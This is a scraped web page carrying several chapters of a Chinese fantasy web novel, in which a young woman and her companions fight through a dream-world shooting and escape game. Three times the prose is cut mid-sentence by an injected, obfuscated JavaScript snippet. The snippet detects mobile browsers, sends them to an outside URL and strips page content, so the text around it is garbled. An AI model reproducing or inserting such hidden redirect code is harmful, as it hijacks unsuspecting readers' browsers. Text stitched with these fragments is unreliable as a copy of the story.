幽夜则去其他地方搜罗了一圈,也找到了趁手的武器,并准确地往刚偷袭她们的方向开了一枪,世界暂时安静了。 “恭喜击杀敌方一人,请再接再厉。”报备的机械音用四面八方传进耳朵。 “距离本场游戏结束还有7时41分52秒,请尽快逃生。” 这游戏居然还是限时的! 海旗马上感觉到了紧迫:“海珀,你知道其他队友在哪里吗?我们得先汇合。” 海珀说:“不知道。” “海旗,你怎么不问问我知不知道?”此时幽夜搜罗完周围回来了,走近海旗身边正要伸手触摸,被海珀漫不经意地隔开距离。 海珀微笑道:“知道什么就直说,别动手动脚的。” 海旗很是赞同地点点头,也许是哥哥在身边壮胆的原因,对幽夜也没有那么害怕了。 幽夜此时倒也脾气挺好,没有发挥他身为虫主的气势来,只冷冷丢下一句:“南边有一个。”率先往南边走了。 兄妹俩一个对视,选择跟上。 很快又有机械报备音响起,又一个敌人被不知在何处的队友击杀了。 未知的敌人埋伏在各个方位,还会随时对他们发动攻击,敌在暗我在暗。偏偏幽夜大摇大摆地走在路上,海旗在身后跟着是一阵阵地心惊胆战。 “我们一定要这么暴露自己吗?”在经历两次偷袭后,海旗终于忍不住反问他。 幽夜却表示:“你怕什么?我是你的队友,我也会保护你。” 海旗可没忘记在巨虫之森的最后,青凤和幽夜的决裂,她还没搞清楚前因后果,也无法对幽夜产生什么信任之情。 幽夜明显看出来了,捂着胸口伤心道:“海旗,你这样我很伤心。” 海旗“呵呵”两声,并不理会。转头与海珀讨论起游戏。 “你知道这个游戏该怎么玩吗?”因为自己没有仔细了解规则,只能寄希望于队友们了。 海珀详细介绍道:“这是一款枪战逃亡游戏,游戏背景是末日;玩家队伍设定成被组织通缉的罪犯,通关要求是找出并杀掉给我们下通缉令的boss;游戏内容除了躲避追击,就是避免被成为怪物的食物;另外被咬了会同化成怪物,若没有在三分钟内得到救援就会死亡;而六人队伍游戏通关至少需要存活五人,否则全体队伍都会变成怪物留在游戏世界无法退出。听说这个游戏里的怪物都是被留下的玩家变成的。” 海旗:“……最后一句你可以不用告诉我的。” 海珀笑道:“我们不会留下的。” 海旗也笑:“当然,我们会赢的!” 33. 裂空之内 前方是一片荒芜空旷的平原,没有遮蔽物,若是有人埋伏,她们就是现成的活靶子。 走了一段路后,海旗越感越不妙,提出还是寻找个隐蔽处,安全为重,并计划夺回游戏主动权,主动出击,快速结束游戏。 她们没有那么多时间在这里耗。 除此之外,首要之计是找齐队友。 看了看身边两个暗暗较着劲的男人,海旗有预感,另外三人肯定也是很熟悉的熟人。她总共就没经历过几个梦境空间,队友是谁简直一目了然。 “前面有枪声,”海珀凝神细听,“大概十个人,里面有我们这边的。” 海旗侧头看他:“你耳朵什么时候变这么好了?” 虽然不太合时宜,但记忆中的海珀,每次爸妈都要叫他两三回才能得到回应,被妈妈亲自取外号“龙的传人”。没错就是那个意思。 “一直都这么好。”海珀浅笑,又靠近耳语,“我那次不是第一时间先回应你的,怎么这反应?” “咳咳!”幽夜在旁边暗暗咳嗽几声。 “你嗓子不舒服的话,要不要给你猎点怪物肉润润嗓子?”海旗借机躲过回话,打趣道。 幽夜阴阴地道:“好啊,我要你猎的!” 海旗懒得再搭理他。 草木越走越稀疏,由绿转黄到现在几乎看不见植物,只剩大片黄土。枪声越发明显,但空旷无垠的平原上,连个遮蔽物都没有,那么敌人藏身何处?队友又在何处? “奇怪了,怎么只听见声音看不见人呢?”海旗站定不再往前。 “想知道真相吗?”幽夜慢悠悠地站出来,“你求我,我考虑考虑告诉你!” 海旗摆手道:“姐姐我又不是笨蛋,还有,我们的队伍我是队长没有意见吧?”锐利的眼神扫过二人。 海珀轻轻摇头:“没意见。” 幽夜阴恻恻道:“我能有意见吗?” “很好,不能。接下来听我指挥。”海旗蹲下稍微隐蔽自己,虽然看不见人影,但难保敌人也是看不着她们的,“既然这个游戏场景本身就是一个独立的异空间,那么在大空间的整体上再去创造一些小型的异空间,我想这并不是什么难事。” 幽夜有意刁难:“你这个逻辑怎么来的?” 海旗分析道:“当然是推理出来的。首先,我们降落的地方有一片稀疏的森林,或许就称不上是森林,就平原上种了几棵稀疏的树,老房子长了草,甚至那些放有装备的房子都是四面透风的,那时候你说敌人埋伏在房子哪个隐蔽转角处还有点信服力。但是离开那片区域后,一路所见都是平原,没有树木也没有漏风房,但是监视我们的视线一直都在,你们应该都感受到了吧?” 二人点头,海旗继续说:“按我的思路,通缉我们的组织一定具有某种隐身的能力,要么可以透明化自己,要么可以制造小型的异空间隐藏自己。前者我认为不太可行,我们这支队伍怎么说也有六个通缉犯,那么组织派出的人肯定不会少,而隐身除了让身体透明化以外毫无优点,但凡他发出一点细微的声音,我想你们都不会放过。” 那就只能是割裂出一个小型异空间了,躲在狭小的空间里用来逐个击破,完全可以做到悄无声息。也就是说,在我们看不见的前方,一定也隐藏了一个异空间并困住了我们一名队友。我们得将人救出来。” 在海旗滔滔不绝头脑风暴的时候,海珀的眼神就没离开过她,眼神含笑。海旗头一转对上他的视线,差点被吸进去,往后缩了一下道:“你盯着我看什么呢?” 海珀伸手揉她脑袋:“没什么,只是看你长大了,变得有担当了,很欣慰而已。” 他还在尽职尽责地担当着海旗的好哥哥。 海旗眼神黯淡了一瞬,没有说破,但也没有打闹。 “唉,”幽夜叹了口气,提醒道,“不妨想想怎么打破异空间的罩子进去救人杀敌吧,我们时间不多了。” 从幽夜的嘴里听见“救人”二字让海旗奇怪了一瞬,虽然都是她梦境中的虚假反派而已,但总觉得有那么一瞬间,幽夜的人设崩塌了。 海旗瞥他,做出请的手势:“你不是挺牛的嘛,你来吧,团队之间需要分工合作,我命你作为带头的那个。” 不过从漏风房往南走已经一个小时多过去,目前他们的战绩也只杀敌二人而已,队友还未集结完毕,线索也还未收集,时间非常紧迫。 海旗只能暂时吞下那抹疑惑,率先通关游戏更为重要。 等等,游戏! 是了,他们是作为游戏队友被拉进来的,那么海珀与幽夜就并非她的梦境中最开始出现的那个人,游戏可以创造一个独立的异空间作为游戏场地,那么他们或许也是被游戏仿造出来! 就像“海旗”那个翻版娃娃一样! 他们是游戏机制下从海旗的梦境记忆里重新提取、凝练出来的吗? 然而不等海旗细想,幽夜已经拔枪,对着前方一片虚空开了一枪,紧接着系统提示:“恭喜击杀敌军三人,游戏时间还剩六小时整,请抓紧时间通关!” 紧接着是裂空破碎的声音,一个漆黑的洞口出现在虚空中,激烈的枪战声更是直接被释放出来。 海旗震惊道:“还真猜对了!但是听着声音,不止十个人吧?” 海珀立刻改口:“异空间阻隔误判了,应该二十人上下。”人数直接翻了一倍。 忽然,洞口处闪过一个躲避激战的人影,海旗看清她的时候,顿时失语。五个人影中一个身形曼妙,有着一头大卷发的影子顿时在脑海中清晰了起来——徐蕊! 海珀显然也认出了她,意外地眯了眯眼。 幽夜则是疑惑,显然他并不认识这个人。正要收枪转身。 “你要去哪儿?”海旗终于找回声音,声音有点哑。 幽夜指着开裂的洞口,歪着头道:“那个是?”意思是那个人是队友之一? 海旗点头:“是。你的任务还没完成,将洞口弄大点,我要进去救人。” “嗯~”幽夜露出了一抹意味深长的微笑,让海旗记起了第一回见到他时,审视自己的模样,“那个人对你很重要?” 海旗再次点头:“当然。” 幽夜又指了指海珀:“比他还重要?” “……”这是什么版本的婆婆和媳妇掉海里先救谁吗? 海旗说:“这并没有什么可比性,他们对我同样重要。” 这时海珀站出来:“小旗,我来就好。” 接着海珀躲过幽夜手里的枪,仿照着他方才的样子,对着洞口周围开了几枪,将洞口扩大。 而在她们墨迹的这会儿,洞口里的敌军也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863766|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意到了他们,有人正在用枪瞄准海旗。不过下一秒就被海珀一枪击杀,系统提示音接着响起。 海旗一手按住别在腰间的精致小手枪:“你们在这里等我吧,我去把徐蕊带出来。” 海珀把枪丢回给幽夜,柔声道:“我和你一起去。” “哥,你不用太担心我,我比你想象得要强大。”海旗摇摇头,冷静道,“你留在这里帮我看好他,我怕他跑了,然后帮我守住洞口等我出来,很快的。” 海珀露出欣慰地笑:“好,那我相信你。” 转身之前,海旗恶狠狠地瞪了一眼幽夜,无声地警告他老实点。 虽然不知道为什么游戏机制为她匹配了一个徐蕊,前面自己的猜测海旗也不敢确保是对的,至少她不希望徐蕊在这里遇到危险。 徐蕊在她的梦境世界里,就是一个娇生惯养的小姑娘,从小被家人宠爱着长大的,突然面临这种枪战逃亡的戏码,她一定很害怕吧。 破空而入时,有两个隐藏在洞口盲区的位置等着埋伏她,所幸海旗谨慎,避开了敌军的攻击后,立马找机会反击毙了他们,系统陆续响起提示音。 从外看,裂空处就是一片漆黑,然而异空间里却是一个另外的世界,犹如世外桃源,小桥流水人家,还有一片竹林。 敌军正在竹林中穿梭追逐,远远看着,这个游戏的敌人NPC真的好拉胯。先前他们开枪的准度不行本来还以为是错觉,但现在看清其真面目后,原来他们的真身是丧尸啊。 所以为什么做梦都喜欢梦到这种丧尸追逐的桥段呢? 在海旗的梦境空间里也是虽迟但到了。 难怪这游戏还有被怪物要到就会被同化为怪物的戏码,丧尸的设定不就是这样的。 徐蕊正在恐惧地躲避着穿着军服的丧尸队伍,眼睛一瞥瞧见从裂空中闯入的人影后,本来还气喘吁吁地,立马提起力气往更深处跑。 海旗喊道:“徐蕊!你跑什么?我是来找你的!” 这一喊立刻吸引了敌军注意,这还是一群有意识的丧尸,只见他们即刻掉头分出人手来对付她。 海旗立刻拔枪射击,她准头不算好,但胜在敌军枪法够烂,有时间去瞄准射击,一颗子弹都没浪费。 里面的人数和海珀预料的差不多,除去一开始被击杀的两人,总共二十一人全都被一一击杀,系统提示音一直响个没停。 将敌军清理完,海旗往竹林深处去找徐蕊。来到一处瀑布下,徐蕊坐在一个大石头上,抱着双膝,手里拿着小石头一个个往小河里丢。 “徐蕊?”海旗喊她。 徐蕊不理,看起来很气愤,气呼呼的样子。 海旗轻轻坐到旁边:“你在生我的气吗?” 见她坐下,徐蕊淡淡扫了一眼,而后淡淡挪开,背对着海旗。憋了许久憋出一句话:“你为什么不告而别?”话里带着酸涩的哭腔。 闻言,海旗有一瞬的恍惚,似乎在最开始那个虚假的梦境空间里,并没有因为她的离开而瓦解。那个空间里的人还在继续生活,而后徐蕊发现海旗失踪了,怎么找也找不到人了。突然又莫名其妙被拉进一场游戏里,在游戏里与好友重逢,内心的委屈与愤怒就全都涌上来了。 “你知道吗,那里不是我的现实。”海旗没有隐瞒,“我想要找回我的现实。” 34. 紧急逃亡开始! 海旗伸手触碰徐蕊金色的卷发,那是她们友谊的痕迹。 犹记得星星说过,每一个梦境空间都是由意识体支撑起来的,只有寻回意识体,那个梦境空间就会失去核心而瓦解。 这是不是说明,最初海旗存在的梦境空间里,意识体还潜藏在某处,即使她跳脱出那个世界,也并未因她的离开而崩坏。 徐蕊没听明白,气愤中分出一丝疑惑的神情看着她。 海旗张了张嘴,还是将想要倾诉的欲/望憋了回去,说出口的是:“对不起呀,让你担心了。” 不知是游戏的机制还是梦魇的陷阱,心中涌起不妙的预感,心里有个声音在说:“无知才能收获一切!” “……不能告诉我吗?”见她将刚打开的话头又憋了回去,徐蕊的语气稍微软了下来,“我们是最好的朋友,不是吗?” 闻言,海旗只是沉默地笑笑,无声对峙着。 很快徐蕊就先绷不住了,只见她轻轻叹了口气,转过身来紧紧拥抱住失而复得的好朋友。 外面是看不清里面的,尤其她们还处在最深处。敌人已被消灭,小桥流水也将面临瓦解,犹如美梦破碎。 都说好朋友是自己选择的家人。在徐蕊面前,海旗可以疯可以闹可以肆意做自己,她们互相懂得对方的奇奇怪怪,能容忍打趣对方的小癖好和坏习惯,同时也藏不住委屈与泪水。 “好啦,我知道你没事就好了。”徐蕊很快放开她,与之四目相对,边抹掉泪水边嘲笑道,“哎哟,小丑猫!” 海旗被气笑了:“滚啊。” 徐蕊变戏法般变出一颗糖果来:“来,吃颗糖让心情变好一点吧!” 看着徐蕊手中的糖,海旗的记忆回到高中时,她总是因为睡懒觉来不及吃早餐就去教室,很多时候上午的时间都是饿着过去的,时间久了就总是饿得头晕想吐。后来徐蕊就多了个随身携带糖果的习惯,每次海旗不吃早餐就给她塞一颗糖补充能量。海旗原本不爱吃糖,嫌甜,她就挑偏酸的柠檬糖、话梅糖还有陈皮糖来买。 此刻徐蕊手中的糖果正是海盐柠檬味的。 海旗剥开糖纸:“吃完糖我们就出去吧,我带你通关游戏。” 徐蕊绽开明媚的笑容:“好啊,旗旗带我飞!” 从异空间出来时,她们还将里面的武器一起带出来了,枪战游戏怎么能缺少呢。 徐蕊见到海珀时震惊了一下,看到幽夜时心一震,默默拉开安全距离,又拉着海旗在旁边说悄悄话:“你哥怎么也在?然后那个阴森男是谁啊?” 海珀对着徐蕊礼貌地笑了笑,打了个招呼。 幽夜则嗤笑一声,明显耳尖听到了她的话,吓得徐蕊一个激灵,缩在海旗身后。 “他叫幽夜,”海旗浅浅介绍了一下,然后凑到徐蕊耳边,“这个名字是不是很中二,我早就想吐槽了。” 徐蕊闻言重重地点头表示赞同。 幽夜一个眼神刀扫过来,海旗回以一个微妙地微笑,好像在说:“难道不是吗?” 另一边海珀在无人发现的位置,暗暗地抽了抽嘴角。 “哒哒哒……” 系统音突然抽风般在耳边炸响,大概两分钟后才吐字清晰道:“恭喜!您的队友击杀敌人已超百人,可选择BOSS关键信息!” 海旗揉着耳朵看着空中弹出的信息:“A、BOSS的方位;B、BOSS的身份;C、BOSS的弱点。请在十秒内选择!” 还不等思考,系统音已经在倒计时:“十、九、八……” 海旗的手指在三个选项中来回移动,一时下不手,总感觉哪个都很关键。 就在倒数到“三”时,选项“A”的按钮被点亮了,而海旗的手则停在“B”的位置。 机械音冷漠无情地给出方位:“请前往南方!”随即迅速恢复宁静。 也就是说,BOSS在南方。 但是,这个选项是谁点的?既然触发条件的是那个默默杀敌的不知名队友,那么也只能是他了吧。 以及她们本就正往南走,也算是误打误撞找对方向了。 “等等,幽夜,你前面说往南有一个我们的队友,是指徐蕊吗?”海旗将手指指向徐蕊问。 幽夜淡淡道:“我可没说过是她。” 回想了一下前面的对话,好像确实是这样的。 所以在这个方向上,除了一名已知的不知名队友,又误打误撞找到了徐蕊。而还有一位已经是全场MVP的也正在某处奋勇杀敌中,那么:“那你知道的那个队友是刚刚那个MVP吗?” 幽夜:“不是。” 海旗斗胆猜测了一下:“你知道的那个人,是青凤吧。”说出来的已经是陈述句。 幽夜阴冷的眼神扫过来,勾唇道:“你猜?” 五个人影已知四个,剩下唯一一个让海旗有些许陌生的,如今也得到了证实。 为什么会陌生呢?因为属于青凤的影子只有人型态,可最后在巨虫之森见到的并非如此。海旗有着诸多疑问需要青凤来解答。 徐蕊有疑问了:“青凤又是谁?” 海珀同样一副疑惑的神情。 海旗眯着眼看海珀,回答徐蕊:“青凤是一只花蝴蝶。” 徐蕊:“啊?”没理解是什么意思。 “总之,我们继续南下吧。”海旗不多解释,指挥道,“往最后两位队友的方向前进。” 徐蕊的加入让这个队伍间原本微妙的气氛缓和了不少,原本是海珀和海旗走在一起,幽夜在旁边冷嘲热讽的。现在是海旗和徐蕊走在前面,一边说着悄悄话,另外两人不仅要负责殿后,还要时刻关注前方。两人偶然间对视上,立刻嫌弃地别开眼。 当然了,这是海旗的安排。既然已经知晓敌军可以潜伏在任何一个角落,那么谁在前谁在后已经没有意义。 “海旗,你变了。”徐蕊道。 空旷的平原除了两人说话的声音,只剩下原野的风声呼啸。 海旗问:“我哪儿变了?” “哪儿都变了。”徐蕊离远两步,上上下下仔细看了两圈,“不过变得更好了,现在的你就是个酷姐!” 海旗飘飘然道:“谢谢蕊宝的赞赏,你真有眼光!” “小旗。”海珀在后面喊她。 海旗回头:“怎么了?” 海珀提醒道:“别太放松。” 海旗点头:“嗯,我精着呢!” 越是往南,被监视的视线越是突兀明显,让人难以忽略。 虽然因为陆续出现的熟人让海旗很是高兴,但她没忘记现状,也记得接下来要做什么。只是控制不住的开心还是让她有些想要松懈下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874279|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被海珀提醒过后,海旗也渐渐收敛了。 说来奇怪,她们在游戏里的时间已经将近过半,遇到的敌人除了前面那些,就再没遇到过。 不是说这是一个末世背景的逃亡游戏吗?除了将徐蕊困住的那个小型异空间,根本见不到几个敌人。 海旗终于想起来要问徐蕊一些游戏的关键信息:“你还记得你是怎么来到游戏并遇上敌人的吗?” 徐蕊大概说了一下:“我是从医院电梯一出来就踏进那边绿地了。我感觉很奇怪,到处乱走然后看到一处木房子,里面有游戏介绍,我刚看完游戏介绍就有敌人出现说我是通缉犯,要杀我。然后我就逃啊,不过那群怪物也挺弱的,我一个手无缚鸡之力的弱女子都奈何不了,虽然我也奈何不了他们,只能逃跑。然后就是你来救我啦。” “医院?”海旗疑惑了一下。 徐蕊避开话题,猜测道:“也许是游戏的通关率其实很高,实际留下来成为怪物的玩家很少?” 海珀摇头:“恰恰相反,游戏的通关率极低。” 海旗沉思,有什么关键信息从脑子划过就是抓不住。 幽夜无聊地玩弄着自己的手指,漫不经心地提醒道:“异空间。” 海旗头顶的灯泡一下就被点亮了。异空间可以困住徐蕊来个逐个击破,那是不是也能在一开始就将她们都困住,来个团灭? “你不会一直都意识到了这一点吧?”海旗问幽夜。 幽夜将五指舒展开,冷白细长的指节透在阳光下:“我以为你知道呢。” 海旗指着他愤怒道:“我要跟你……”迅速截住话语,而后大步到幽夜面前,气呼呼地小声道,“绝交!” 话音刚落,一支箭矢刺破虚空往海旗的后脑勺发射而来,危急时刻被海珀徒手抓住。 海旗扭头,箭尖就在眼前停住。不是枪战游戏吗?怎么还有箭?剑柄还是蓝色的,带着熟悉的海洋气息。 破开虚空的洞口出现一只血红的眼睛,骨碌碌地转动凝望下方。 四人抬头与之对视,很快就统一答案那眼睛的主人是谁——游戏的大BOSS。 “发现你们了!”随之而来的是“桀桀桀”老套又空洞的笑声。 魔音刺耳,四人皆难受得捂住耳朵面目狰狞。 “警告!警告!警告!”机械音穿插/进来。 “由于通缉犯被BOSS发现藏身之地,玩家请紧急逃亡,限时三十分钟!超时未逃生成功,则将被同化为怪物!” “喜报!喜报!喜报!恭喜玩家获得BOSS青睐,逃亡时间翻倍!限时增加至一小时!” 海旗面目扭曲地骂:“喜你大爷!” “BOSS即将放出怪物军队,请做好准备开始逃亡!” 虚空中原本狭小的眼睛立刻被放大沾满整片天空,平原被染红,吹来的风都带着浓厚的血腥气。 在血红眼骨碌下,天边陆续张开大大小小的口子,第一个撕开裂缝钻出来的,海旗瞥见其发尾的一抹碧蓝便认出来那人是谁了。 只是她眼神空洞冷冽,一把碧蓝色的弓背在背后,作为怪物军队的领袖慢悠悠地往海旗的方向走去。 “注意!注意!注意!游戏逃亡即将开始:三、二、一!玩家请加油!” 海旗:“我TM谢谢你的鼓励!” 35. 逃亡?枪战才是重点! 在青凤的身后,无数裂缝被撕裂,大批丧尸军队从中钻出来,朝着海旗的队伍前行。 这些怪物丧尸和前面见到的不同,前面那些你还能一眼就看出来是丧尸,而这批是高阶丧尸那种,外表与常人无异,而且训练有素,行走还快。 魔音不停,海旗她们还得忍着魔音去对付他们,简直难上加难! “小旗,不要爆粗口,不雅观。”海珀轻轻提醒了一句。 只见他一只手捂着耳朵,已经逐渐适应了魔音穿耳的威力。见海旗还难受,直接伸手过来捂住并揉了揉她的耳朵。 温热的手掌覆盖上来时,力道不轻也不重,让海旗蒙了一下,魔音被隔绝在外,顿时没那么难受了。抬眼对上海珀的双眼,海珀则温柔地弯弯眉眼。 海旗的心跳有点快:“……” 幽夜转头看见这一幕,又是一声嗤笑。 只剩徐蕊作为唯一一名普通弱女子还在难受着,看见幽夜的异样转身一看,她也蒙了。 “海旗——” 星星正在城堡里满天飞找人,已经找了两个小时还不见人影,偶尔还要被突然乍现的小宠物们吓一跳,快自闭了。 “你到底去哪儿了啊!别丢下我啊!”星星飞累了,正在某个还算安全的长廊的角落里呐喊。 “她不会回来了。”翻版娃娃突然出现在星星面前。 “海旗没出现,你倒是现身了!你等着,我非得抓住你!”星星立马扇动翅膀飞扑过去。 但要抓住它哪有那么容易,当时是扑了个空。 翻版娃娃闪现到另一个位置:“我知道你是谁哦!” 星星不甘示弱:“你以为我不知道你是谁吗?” 翻版娃娃眨巴了几下大眼睛:“你为什么要救她?” 星星反问:“你又为什么要害她?” 瞅准时机,再扑上去。翻版娃娃没有躲开,星星的身体突然透明化穿过娃身。 “你的时间不多了吧。还有,你是抓不住我的。”翻版娃娃说完就在原地消失了。 紧接着贞子从楼梯爬上来了,翻转扭曲的身躯朝着星星的方向缓慢爬行。 星星看着自己重新凝实的双手沉思,在贞子姐姐快爬到眼前了才飞走了。 “咻!” 箭矢破空的声音唤回了海旗的理智,拽着海珀险险躲开后,望见对面的青凤站定在一处,拉弓瞄准她,第二支箭即将射出。 千军万马举枪拦在跟前,发射的箭矢就像号令,一支箭一个指令,下一只发出的可不止箭矢,还有万千子弹! 谁能来告诉她,这得怎么逃? 但手上动作反应更快,一手海珀一手徐蕊拽住转身就跑! 剩下一个幽夜:“?” “那条鱼呢?咱们还有一个队友去哪儿了啊!”海旗边跑边崩溃地喊,“为什么青凤会在对面啊!她被咬了吗?” 徐蕊是最搞不清状况的那个,也是被魔音侵袭最深的,此刻脑袋正发晕:“你在说什么啊?我怎么都听不懂呢?” “咻!”第二支箭射出! 海旗赶紧拽着两人趴在地上,捂住耳朵,任由枪声肆虐。 然而枪声并没有想象中的激烈,紧接着一道阴影笼罩在上方,转头一看,发现是幽夜恢复了虫主之身,坚硬的蛇鳞将子弹挡在外面。 “啊!”徐蕊看到巨大的蛇尾横在上空时,直接尖叫一声就被吓晕了过去。 海珀将海旗扶起来护在身后,饶有兴趣地打量着巨大的蛇影。海旗则是扶住徐蕊,默默吞了吞口水。 蛇影一出,蛇尾摆动,不少丧尸军就被扫射而亡,不过这回游戏系统不再报备计数了。 海旗心想:“这人还怪好的咧,前一秒才跟他说绝交,结果还愿意挺身相护。刚刚的话是不是说重了点?” 幽夜扭着蛇身探到海旗面前,邪魅一笑:“不用太感谢我。” 因为幽夜这一挡,给他们制造出了反击的机会。对面的青凤发现蛇影后,触动血脉将箭瞄准的方向改为了幽夜。 周围空旷,实在无处安顿徐蕊,看了看周围也想不出来什么好办法,只是麻烦海珀:“哥,你帮我看好徐蕊。” “你……”海珀看了看她,拒绝的话吞了回去,“注意安全。” 海旗一直拥有一颗想要厮杀的心,这是在生活的重压下被抑制的欲/望。 如今这个愿望得以实现之时,只觉得畅快。 逃亡枪战游戏,原本“逃亡”才是重点,但海旗认为,一直逃是最没用的,直面危机并为之努力取胜才是硬道理。 在混乱之际,海旗发现,在天际裂口的背后,有一抹熟悉的身影,于是朝着那个方位厮杀过去。 “幽野!”海旗靠近后大声喊他。 对方微一侧头,看清是谁后,脸上一阵微妙的表情,竟然掉头走开了。 海旗莫名:“你别跑啊?” 结果一个分心,一个丧尸往她手臂上咬了一口。所幸是隔着衣服的,没有咬破皮,直接一脚踹开然后一枪秒了,往那条鱼的方向追去。 那边与青凤已经打上了的幽夜闻言转头往这边看了一眼,眼神快冒出火,露出一个瘆人的笑。 海旗非常庆幸自己在梦境中锻炼出来的体能,当然也许是因为人鱼并不擅长在陆地行走,所以才被海旗险险追上了,抓着他的手不放:“你跑什么啊?” 幽野冷冷道:“放开我!” 和在蔚蓝海域见到的海域之主简直是两副模样。 好不容易追上,海旗怎么可能放手:“现在危急时刻,我们的队伍需要你……” 还不等海旗说完,幽野就甩开她的手跑掉了,留海旗站在原地:“嗯?你……好红啊?” 幽篮的长发飘飘,人鱼皮肤冷白,又通体赤/裸,一旦血色上涌根本遮都遮不住。 幽野闻言跑得更快了。这里是陆地,鱼尾幻化为细长的双腿。他没有裸/露什么全靠鱼鳍长得好,遮得巧妙。 海旗后知后觉,追上去道:“你不会是在害羞吧?” “警告!逃亡时间还剩最后十分钟!请尽快通关!”提示机械音响遍全场。 海旗:“时间怎么过得那么快?” 此时幽野停下了:“他的弱点就是眼睛。” 闻言,海旗立刻将手中的枪对准天空中血红的大眼睛,都不用瞄准就直接开枪了! “放肆!”BOSS被激怒。 剩余的丧尸兵突然像升级了一样,动作变得极其敏捷。 肯定是一枪不够,于是在被围攻前,海旗又补了几枪,而后眼前一黑,脚底踩空,跌进了一个漆黑的空间。 海旗被摔得不轻,浑身疼,龇牙咧嘴爬起来后,先是喊了一声:“幽野?” 回应她的只有空旷的回音。 “海珀?”海旗又喊。 依旧无人回应。 “BOSS?” 不仅与队友分隔开,就连血红眼BOSS都不出一声。 空间里漆黑无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876728|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比,伸手不见五指,一丝细微的光线都透不过来。 摸黑前行几步后,突然一股强烈的冲击力往她背上打了一下,将海旗打趴在地上,嘴里血腥味上涌。 这个BOSS不讲武德!居然搞偷袭! 海旗的消失立刻被远处的海珀注意到了,他瞥了一眼昏迷不醒的徐蕊,打了个响指,徐蕊就消失不见了。 海珀淡然地穿梭在丧尸军队中,竟无一人敢近身。 “海旗……” 海旗挨了好几下BOSS的冲击后,不知是不是被打出幻觉了,一声遥远的叫喊传进耳朵里,声音好熟悉。 “不要死……” “醒醒……” “星星?”海旗听着远处的声音,似乎就是星星在喊她。 憋着一口气强撑着站起来,身上湿湿黏黏的,都是血。 “留下来吧,留下来,你就不会死。”是那个翻版娃娃的声音。 海旗反驳:“我为什么要听你的?” 它说:“游戏结束了,你输了。你只能选择留下。” 海旗沉默。 它继续说:“留下来,这里有爱你的家人、朋友……” 海旗:“你闭嘴吧,我只是疼得不想说话,不是默认了。” 翻版娃娃:“……” “还有,游戏并没有宣布结束呢,谁告诉我要输了。” 海旗艰难地抬起手,对着翻版娃娃刚才出声的地方开了一枪。 另一边天空中的血红大眼突然怒目圆睁,瞳孔骤缩。 “恭喜玩家在最后一分钟内完成反杀获得胜利!游戏结束!准备护送玩家回归!” 海旗:“……蒙对了?” 漆黑的空间也随之消失,海旗再次坠空,而后很快落入一个温暖的怀抱中。 “怎么受了这种重的伤?”血腥味涌入鼻间的时候,海珀浑身都绷紧了,声音里带着浓厚的心疼。 海旗靠在他肩膀上,闭目放松下来:“我很快就会好的,别担心。他们呢?” 海珀说:“都消失了。” 游戏结束,他们就没有留下的必要了。 海旗轻声道:“那你呢?也要消失了吗?” 海珀没有回答。 海旗:“我饿了,有糖吗?” 海珀将她放下,掏了掏口袋,竟真的掏出一颗糖来,海盐柠檬味的。 撕开糖纸往海旗嘴里送。 “我不会消失的。只要你需要我,我就会出现。”海珀的声音还是那么温柔。 但话一说完,明明还是消失不见了,只剩海旗一个人坐在游戏间的地板上。 悬空的屏幕凑近展示了游戏的结算画面:“恭喜玩家,通关‘我不玩!’游戏!通关游戏可获得钥匙一把或者选择下一款游戏闯关,通关游戏可获得更丰厚的奖励!” 要不是手疼,海旗都不用等它把话说完,直接往钥匙的选项上点击。 一把古铜色古老钥匙凭空出现,掉在海旗手上。歇息了一会,撑着墙去开门的时候,发现钥匙根本不匹配! 海旗转头质问:“这也打不开啊?” 屏幕上是一个标志的笑脸,冰冷的机械音无情地述说真相:“这本来就不是这扇门的钥匙。” “……你玩我呢?”海旗忍住想爆粗的冲动,不雅观。 而后,屏幕上出现两行字:“如需获得开门的钥匙,请继续通关下一款游戏!” 要个屁的雅观! “草!” 36. 饥饿感 再酸的糖,到最后残留的味道总是甜腻的,糊得嘴巴黏黏的。 所以海旗并不爱吃糖。 将手中的钥匙拿在手上不停转圈圈,脑海中思绪翻滚。迷宫本身危机重重,却也在无形之中不断将海旗引诱进房间里,企图让她留下,囚禁她。 “真的有点饿了……”海旗喃喃道。 上一次吃东西,还是早餐的一碗汤粉。自从破开第一个梦境空间,她好像也没感觉到饥饿。 梦境空间里关于时间的流逝,她好像一直没有问过星星,不知现实的时间已经过去多久。 大屏幕上冰冷的机械音不合时宜地响起:“恭喜玩家触发……” “闭嘴!我什么也没选!”海旗迅速打断,她现在对这个机械音有点应激。 